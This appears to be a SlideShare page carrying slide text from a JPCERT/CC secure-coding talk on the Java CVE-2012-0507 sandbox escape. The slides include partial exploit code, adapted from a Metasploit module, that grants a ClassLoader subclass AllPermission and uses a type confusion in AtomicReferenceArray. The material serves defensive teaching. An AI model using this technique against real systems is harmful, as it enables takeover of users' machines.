Enviar pesquisa
Carregar
JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion)
•
5 gostaram
•
2,311 visualizações
J
JPCERT Coordination Center
Seguir
JJUG CCC 2014 Spring における講演資料 http://www.java-users.jp/?page_id=1048#R2-6
Leia menos
Leia mais
Software
Denunciar
Compartilhar
Denunciar
Compartilhar
1 de 45
Baixar agora
Baixar para ler offline
Recomendados
Apache Sling におけるサービス運用妨害(無限ループ)の脆弱性
Apache Sling におけるサービス運用妨害(無限ループ)の脆弱性
JPCERT Coordination Center
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)
JPCERT Coordination Center
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
JPCERT Coordination Center
Apache Axis2におけるXML署名検証不備
Apache Axis2におけるXML署名検証不備
JPCERT Coordination Center
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)
JPCERT Coordination Center
MySQL Connector/J における SQL インジェクションの脆弱性
MySQL Connector/J における SQL インジェクションの脆弱性
JPCERT Coordination Center
Apache Tomcat における クロスサイトリクエストフォージェリ (CSRF) 保護メカニズム回避の脆弱性
Apache Tomcat における クロスサイトリクエストフォージェリ (CSRF) 保護メカニズム回避の脆弱性
JPCERT Coordination Center
Apache Struts2 における任意の Java メソッド実行の脆弱性
Apache Struts2 における任意の Java メソッド実行の脆弱性
JPCERT Coordination Center
Recomendados
Apache Sling におけるサービス運用妨害(無限ループ)の脆弱性
Apache Sling におけるサービス運用妨害(無限ループ)の脆弱性
JPCERT Coordination Center
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)
Apache ActiveMQにおける認証処理不備の脆弱性(AMQ-1272)
JPCERT Coordination Center
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
JPCERT Coordination Center
Apache Axis2におけるXML署名検証不備
Apache Axis2におけるXML署名検証不備
JPCERT Coordination Center
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)
Apache CommonsのHttpClientに おけるSSLサーバ証明書検証不備 (CVE-2012-5783)
JPCERT Coordination Center
MySQL Connector/J における SQL インジェクションの脆弱性
MySQL Connector/J における SQL インジェクションの脆弱性
JPCERT Coordination Center
Apache Tomcat における クロスサイトリクエストフォージェリ (CSRF) 保護メカニズム回避の脆弱性
Apache Tomcat における クロスサイトリクエストフォージェリ (CSRF) 保護メカニズム回避の脆弱性
JPCERT Coordination Center
Apache Struts2 における任意の Java メソッド実行の脆弱性
Apache Struts2 における任意の Java メソッド実行の脆弱性
JPCERT Coordination Center
Struts2を始めよう!
Struts2を始めよう!
Shinpei Ohtani
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
JPCERT Coordination Center
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
JPCERT Coordination Center
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
JPCERT Coordination Center
クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策
JPCERT Coordination Center
JBoss Application Server におけるディレクトリトラバーサルの脆弱性
JBoss Application Server におけるディレクトリトラバーサルの脆弱性
JPCERT Coordination Center
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
JPCERT Coordination Center
Spring fest2020 spring-security
Spring fest2020 spring-security
土岐 孝平
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
Masatoshi Tada
Java EE8 Report
Java EE8 Report
Norito Agetsuma
Use JWT access-token on Grails REST API
Use JWT access-token on Grails REST API
Uehara Junji
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
Kenji Urushima
Keycloak拡張入門
Keycloak拡張入門
Hiroyuki Wada
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
Kenji Urushima
JavaScript.Next
JavaScript.Next
dynamis
とある診断員とSQLインジェクション
とある診断員とSQLインジェクション
zaki4649
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
Hiroyuki Ohnaka
Javascript で暗号化
Javascript で暗号化
suno88
Keycloak入門
Keycloak入門
Hiroyuki Wada
Lessons (to be) Learned from Handling OpenSSL Vulnerabilities
Lessons (to be) Learned from Handling OpenSSL Vulnerabilities
JPCERT Coordination Center
OWASP ZAP(など)で挑む SECCON
OWASP ZAP(など)で挑む SECCON
Jun Matsumoto
Mais conteúdo relacionado
Mais procurados
Struts2を始めよう!
Struts2を始めよう!
Shinpei Ohtani
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
JPCERT Coordination Center
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
JPCERT Coordination Center
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
JPCERT Coordination Center
クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策
JPCERT Coordination Center
JBoss Application Server におけるディレクトリトラバーサルの脆弱性
JBoss Application Server におけるディレクトリトラバーサルの脆弱性
JPCERT Coordination Center
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
JPCERT Coordination Center
Spring fest2020 spring-security
Spring fest2020 spring-security
土岐 孝平
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
Masatoshi Tada
Java EE8 Report
Java EE8 Report
Norito Agetsuma
Use JWT access-token on Grails REST API
Use JWT access-token on Grails REST API
Uehara Junji
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
Kenji Urushima
Keycloak拡張入門
Keycloak拡張入門
Hiroyuki Wada
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
Kenji Urushima
JavaScript.Next
JavaScript.Next
dynamis
とある診断員とSQLインジェクション
とある診断員とSQLインジェクション
zaki4649
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
Hiroyuki Ohnaka
Javascript で暗号化
Javascript で暗号化
suno88
Keycloak入門
Keycloak入門
Hiroyuki Wada
Mais procurados
(20)
Struts2を始めよう!
Struts2を始めよう!
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (KOF2014)
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
デブサミ2015 事例から学ぶAndroidアプリのセキュアコーディング「SSL/TLS証明書検証の現状と対策」
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策
JBoss Application Server におけるディレクトリトラバーサルの脆弱性
JBoss Application Server におけるディレクトリトラバーサルの脆弱性
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
Android Platform の URLConnection に HTTP ヘッダインジェクションの脆弱性
Spring fest2020 spring-security
Spring fest2020 spring-security
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
これで怖くない!?コードリーディングで学ぶSpring Security #中央線Meetup
Java EE8 Report
Java EE8 Report
Use JWT access-token on Grails REST API
Use JWT access-token on Grails REST API
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
Keycloak拡張入門
Keycloak拡張入門
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
JavaScript.Next
JavaScript.Next
とある診断員とSQLインジェクション
とある診断員とSQLインジェクション
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
Javascript で暗号化
Javascript で暗号化
Keycloak入門
Keycloak入門
Destaque
Lessons (to be) Learned from Handling OpenSSL Vulnerabilities
Lessons (to be) Learned from Handling OpenSSL Vulnerabilities
JPCERT Coordination Center
OWASP ZAP(など)で挑む SECCON
OWASP ZAP(など)で挑む SECCON
Jun Matsumoto
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)
JPCERT Coordination Center
Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性
JPCERT Coordination Center
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
JPCERT Coordination Center
脆弱性情報はこうしてやってくる
脆弱性情報はこうしてやってくる
JPCERT Coordination Center
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)
JPCERT Coordination Center
自分よりも技術力の高い会社に入社して感じたこと
自分よりも技術力の高い会社に入社して感じたこと
Suzuki Masayuki
Devsumi2015_20E1 エンジニアが知っておきたいお金の話
Devsumi2015_20E1 エンジニアが知っておきたいお金の話
Akio Doi
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
zaki4649
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hack
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hack
teapipin
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)
Shinichi Hirauchi
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Muneaki Nishimura
Android Secure Coding
Android Secure Coding
JPCERT Coordination Center
フーリエ変換と画像圧縮の仕組み
フーリエ変換と画像圧縮の仕組み
yuichi takeda
Destaque
(15)
Lessons (to be) Learned from Handling OpenSSL Vulnerabilities
Lessons (to be) Learned from Handling OpenSSL Vulnerabilities
OWASP ZAP(など)で挑む SECCON
OWASP ZAP(など)で挑む SECCON
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)
Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
脆弱性情報はこうしてやってくる
脆弱性情報はこうしてやってくる
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)
自分よりも技術力の高い会社に入社して感じたこと
自分よりも技術力の高い会社に入社して感じたこと
Devsumi2015_20E1 エンジニアが知っておきたいお金の話
Devsumi2015_20E1 エンジニアが知っておきたいお金の話
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hack
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hack
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Android Secure Coding
Android Secure Coding
フーリエ変換と画像圧縮の仕組み
フーリエ変換と画像圧縮の仕組み
Semelhante a JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion)
Datomic&datalog紹介
Datomic&datalog紹介
あしたのオープンソース研究所
Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義
JPCERT Coordination Center
使いこなせて安全なLinuxを目指して
使いこなせて安全なLinuxを目指して
Toshiharu Harada, Ph.D
分散ストリーム処理フレームワーク Apache S4
分散ストリーム処理フレームワーク Apache S4
AdvancedTechNight
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料
OSSラボ株式会社
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月
VirtualTech Japan Inc.
141030ceph
141030ceph
OSSラボ株式会社
Web applicationpenetrationtest その5
Web applicationpenetrationtest その5
Tetsuya Hasegawa
jjugccc2018 app review postmortem
jjugccc2018 app review postmortem
tamtam180
10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1
10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1
kenjis
システムテスト自動化標準ガイド 5章発表資料
システムテスト自動化標準ガイド 5章発表資料
Masatoshi Itoh
Active Directory 侵害と推奨対策
Active Directory 侵害と推奨対策
Yurika Kakiuchi
JavaのGenericsとは?
JavaのGenericsとは?
Kenji Nakamura
コンテナイメージの脆弱性スキャンについて
コンテナイメージの脆弱性スキャンについて
YASUKAZU NAGATOMI
Javaセキュアコーディングセミナー東京第3回講義
Javaセキュアコーディングセミナー東京第3回講義
JPCERT Coordination Center
Metasploitでペネトレーションテスト
Metasploitでペネトレーションテスト
super_a1ice
Statically detecting vulnerability under memory pressure usingexhaustive search
Statically detecting vulnerability under memory pressure usingexhaustive search
Ruo Ando
20181219 Introduction of Incident Response in AWS for Beginers
20181219 Introduction of Incident Response in AWS for Beginers
Typhon 666
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_で
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_で
Tech Summit 2016
Apexコアデベロッパーセミナー(Apexコード)071010
Apexコアデベロッパーセミナー(Apexコード)071010
stomita
Semelhante a JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion)
(20)
Datomic&datalog紹介
Datomic&datalog紹介
Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義
使いこなせて安全なLinuxを目指して
使いこなせて安全なLinuxを目指して
分散ストリーム処理フレームワーク Apache S4
分散ストリーム処理フレームワーク Apache S4
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月
141030ceph
141030ceph
Web applicationpenetrationtest その5
Web applicationpenetrationtest その5
jjugccc2018 app review postmortem
jjugccc2018 app review postmortem
10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1
10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1
システムテスト自動化標準ガイド 5章発表資料
システムテスト自動化標準ガイド 5章発表資料
Active Directory 侵害と推奨対策
Active Directory 侵害と推奨対策
JavaのGenericsとは?
JavaのGenericsとは?
コンテナイメージの脆弱性スキャンについて
コンテナイメージの脆弱性スキャンについて
Javaセキュアコーディングセミナー東京第3回講義
Javaセキュアコーディングセミナー東京第3回講義
Metasploitでペネトレーションテスト
Metasploitでペネトレーションテスト
Statically detecting vulnerability under memory pressure usingexhaustive search
Statically detecting vulnerability under memory pressure usingexhaustive search
20181219 Introduction of Incident Response in AWS for Beginers
20181219 Introduction of Incident Response in AWS for Beginers
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_で
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_で
Apexコアデベロッパーセミナー(Apexコード)071010
Apexコアデベロッパーセミナー(Apexコード)071010
Mais de JPCERT Coordination Center
いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~
いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~
JPCERT Coordination Center
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
JPCERT Coordination Center
DLL読み込みの問題を読み解く
DLL読み込みの問題を読み解く
JPCERT Coordination Center
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』
JPCERT Coordination Center
ソフトウェアセキュリティ保証成熟度モデル
ソフトウェアセキュリティ保証成熟度モデル
JPCERT Coordination Center
Javaセキュアコーディングセミナー東京第2回演習の解説
Javaセキュアコーディングセミナー東京第2回演習の解説
JPCERT Coordination Center
Javaセキュアコーディングセミナー東京第4回演習の解説
Javaセキュアコーディングセミナー東京第4回演習の解説
JPCERT Coordination Center
Javaセキュアコーディングセミナー東京第4回講義
Javaセキュアコーディングセミナー東京第4回講義
JPCERT Coordination Center
Javaセキュアコーディングセミナー東京第3回演習
Javaセキュアコーディングセミナー東京第3回演習
JPCERT Coordination Center
Mais de JPCERT Coordination Center
(9)
いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~
いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
DLL読み込みの問題を読み解く
DLL読み込みの問題を読み解く
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』
ソフトウェアセキュリティ保証成熟度モデル
ソフトウェアセキュリティ保証成熟度モデル
Javaセキュアコーディングセミナー東京第2回演習の解説
Javaセキュアコーディングセミナー東京第2回演習の解説
Javaセキュアコーディングセミナー東京第4回演習の解説
Javaセキュアコーディングセミナー東京第4回演習の解説
Javaセキュアコーディングセミナー東京第4回講義
Javaセキュアコーディングセミナー東京第4回講義
Javaセキュアコーディングセミナー東京第3回演習
Javaセキュアコーディングセミナー東京第3回演習
JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion)
1.
Oracle Java 標準ライブラリ AtomicReferenceArray
クラスにおける デシリアライズに関する脆弱性 (CVE-2012-0507) 2014年年5⽉月18⽇日(⽇日) JPCERT/CC 情報流流通対策グループ ⼾戸⽥田 洋三 (yozo.toda@jpcert.or.jp) 1 JJUG CCC 2014 Spring
2.
Copyright©2014 JPCERT/CC All
rights reserved. 自己紹介 http://www.tomo.gr.jp/root/e9706.html JPCERT/CC 情報流流通対策グループ 解析チーム リードアナリスト ⼾戸⽥田 洋三 脆弱性情報分析, セキュアコー ディング普及啓発活動…… に努 めてます 2
3.
Copyright©2014 JPCERT/CC All
rights reserved. JPCERT/CCとは JPCERT Coordination Center ⽇日本における情報セキュリ ティ対策活動の向上に取り組 んでいる組織 3
4.
Copyright©2014 JPCERT/CC All
rights reserved. JPCERT/CCの主な活動 4
5.
Copyright©2014 JPCERT/CC All
rights reserved.5 セキュアコーディングの普及啓発には… ! 具体的な事例例紹介が有効 ̶— コーディングルールの根拠 ̶— 被害につながることを実感 ̶— 攻撃者の視点に興味を持つ より多くのJavaアプリの脆弱性事例例と、 そこから得られる教訓を紹介する
6.
Copyright©2014 JPCERT/CC All
rights reserved.6 事例例解説資料料使ってね
7.
Copyright©2014 JPCERT/CC All
rights reserved.7 では本編です…
8.
Copyright©2014 JPCERT/CC All
rights reserved. 本⽇日のテーマ 8 JRE標準ライブラリの脆弱性事例例を 理理解する (AtomicReferenceArrayクラス と Type Confusion) (CVE-2012-0507)
9.
Copyright©2014 JPCERT/CC All
rights reserved. CVE-2012-0507 概要 • AtomicReferenceArray クラスはシリアライズ可能なク ラスとして定義されている。しかし、シリアライズデー タの復復元時に適切切な検証を⾏行行っていなかった。 • 細⼯工したシリアライズデータを復復元させることにより、 ClassLoader クラスのサブクラスのインスタンスを⽣生成 させることができ、サンドボックス内で実⾏行行されている applet から任意のクラスやそのインスタンスを⽣生成して サンドボックスの外で実⾏行行させることが可能になってし まっていた。 9
10.
Copyright©2014 JPCERT/CC All
rights reserved. Exploit デモ 10 http://pentestlab.wordpress.com/2012/03/30/java-exploit- attack-cve-2012-0507/ などが参考になります… ごめんなさい. 環境の準備が間に合いませんでした.
11.
Copyright©2014 JPCERT/CC All
rights reserved. Java Applet を使った攻撃 11 攻撃者サーバ 細⼯工された applet利利⽤用者 l Applet から、サンドボックスの制限を越えて任意のコ マンドを実⾏行行される ² 例例: Runtime::exec メソッドを使ってOSコマンドを実⾏行行可能 l 利利⽤用者の端末を乗っ取られる可能性がある。 • アプレットはサーバ(信頼境界の外側)からやってくる 信頼できないコード • PC上のファイル改ざんや情報漏漏えいの危険がある
12.
Copyright©2014 JPCERT/CC All
rights reserved. 攻撃者の視点… 12 Webブラウザ上で実⾏行行されるappletから ClassLoader を使ってアクセス権限に制限のつか ない状態のクラスを⽣生成したい (java コードを実⾏行行したい)…
13.
Copyright©2014 JPCERT/CC All
rights reserved. ClassLoader と defineClass メソッド 13 protected final Class<?> defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain) • name ---- クラスのバイナリ名 • b ---- クラスデータを構成する byte データ • off ---- クラスデータ中の b の先頭位置 • len ---- クラスデータの⻑⾧長さ • protectionDomain ---- このクラスの ProtectionDomain ! ClassLoader クラスの defineClass メソッドを使うと 新たなクラスを定義できる.
14.
Copyright©2014 JPCERT/CC All
rights reserved.14 class Help extends ClassLoader { : ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; : buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = defineClass(className, buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass(); : } defineClass メソッドの使⽤用例例
15.
Copyright©2014 JPCERT/CC All
rights reserved.15 class Help extends ClassLoader { : ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; : buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = defineClass(className, buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass(); : } コード位置. “file:///” は全てのローカルファ イルを意味する. システムリソースへのアクセス権. “AllPermission()” は全てのアクセ ス権の許可を意味する (読み取り, 書き込み, 実⾏行行) defineClass メソッドの使⽤用例例 定義されるクラスは全てのローカルファイ ルに対して全てのアクセス権が許可される (読み取り, 書き込み, 実⾏行行) クラスデータを構成するバイトデータ
16.
Copyright©2014 JPCERT/CC All
rights reserved. ! ClassLoader は抽象クラス — “new” でインスタンスを⽣生成できない ! defineClass は protected メソッド — クラス外部から呼び出すことはできない 16 defineClass メソッドを使いたい… 攻撃に使うにはClassLoader の サブクラスが必要…
17.
Copyright©2014 JPCERT/CC All
rights reserved. ! ClassLoader のインスタンスを作りたい ClassLoader cl = new ClassLoader(); ClassLoader は抽象クラスなので new することはできない 17 Designing Malicious Applets(1) ! 既に存在する ClassLoader のインスタンスをゲットする ClassLoader cl = getClass().getClassLoader(); prohibited allowed しかし… defineClass は protected メソッドなので クラス外部から呼び出すことはできない なんとか ClassLoader のサブクラスを ⽤用意できないか?
18.
Copyright©2014 JPCERT/CC All
rights reserved. ! ClassLoader のサブクラスを定義してインスタンスを作ったら? 18 public class Help extends ClassLoader() { ... } Help ahelp = new Help(); Runtime Exception サンドボックス内では 制限されている ClassLoader のインスタンス⾃自⾝身をサブクラスのイン スタンスとして扱えないか? ! ClassLoader のインスタンスをサブクラスのフィールド に代⼊入? Help ahelp = (Help)getClass().getClassLoader(); このような代⼊入操作は⾔言語仕 様上禁⽌止されている Designing Malicious Applets(2) prohibited Runtime Exception
19.
Copyright©2014 JPCERT/CC All
rights reserved. Type Confusion Vulnerability 19 Help ahelp = (Help)getClass().getClassLoader(); Type confusion の脆弱性により、⾔言語レベルで禁⽌止 されていたはずの代⼊入操作を⾏行行うことができる! 通常、サブクラスへの代⼊入 は型システムによって禁⽌止 されている atomicreferencearray.set(0, classloader); AtomicReferenceArray クラスには type confusion の脆弱 性が存在し、set メソッドによって本来禁⽌止されているはず の代⼊入操作を⾏行行うことが可能になってしまっている
20.
Copyright©2014 JPCERT/CC All
rights reserved. AtomicReferenceArray クラス ! java.util.concurrent.atomic パッケージに収められてい る ! 「要素を原⼦子的に更更新可能なオブジェクト参照の配列列で す。」(Java SE API リファレンスより) ! シリアライズ可能 ! 独⾃自の readObject メソッドは持っていない 20
21.
Copyright©2014 JPCERT/CC All
rights reserved. AtomicReferenceArray のソースコード 21 import sun.misc.Unsafe; : public class AtomicReferenceArray<E> implements java.io.Serializable { private static final Unsafe unsafe = Unsafe.getUnsafe(); : private final Object[] array; : private long checkedByteOffset(int i) { return (…calculating offset and boundary check …); } : public final void set(int i, E newValue) { unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue); } AtomicReferenceArray.java set メソッドで使われるオフ セットを計算 array に newValue を書き込む シリアライズ可能なクラス
22.
Copyright©2014 JPCERT/CC All
rights reserved. AtomicReferenceArray のソースコード 22 import sun.misc.Unsafe; : public class AtomicReferenceArray<E> implements java.io.Serializable { private static final Unsafe unsafe = Unsafe.getUnsafe(); : private final Object[] array; : private long checkedByteOffset(int i) { return (…calculating offset and boundary check …); } : public final void set(int i, E newValue) { unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue); } AtomicReferenceArray.java set メソッドで使われるオフ セットを計算 array に newValue を書き込む シリアライズ可能なクラス unsafe.putObjectVolatile(Object o, long offset, Object x) 引数の型が適切切なものであることをチェックせずに x の値を o に書き込む.
23.
Copyright©2014 JPCERT/CC All
rights reserved. http://www.rapid7.com/db/modules/exploit/multi/browser/java_atomicreferencearray 23 l Exploit class (Appletのサブクラス) Exploit code l AtomicReferenceArray クラス l Unsafe クラス (AtomicReferenceArray classから 呼び出される) JRE標準API l Help class (ClassLoaderのサブクラス) Exploit Code for CVE-2012-0507 Metasploit のモジュールにある攻撃コードをベースに説 明します。
24.
Copyright©2014 JPCERT/CC All
rights reserved.24 public class Exploit extends Applet { : public static byte[] StringToBytes(String s) { return (converts s to byte data); } public void init() { String as[] = { “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (16進表記されたシリアライズデータ…) }; StringBuilder stringbuilder = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getClass().getClassLoader(); atomicreferencearray.set(0, classloader); Help _tmp = ahelp[0]; : Help.doWork(ahelp[0], this, …); } Exploit.java Exploit Code for CVE-2012-0507
25.
Copyright©2014 JPCERT/CC All
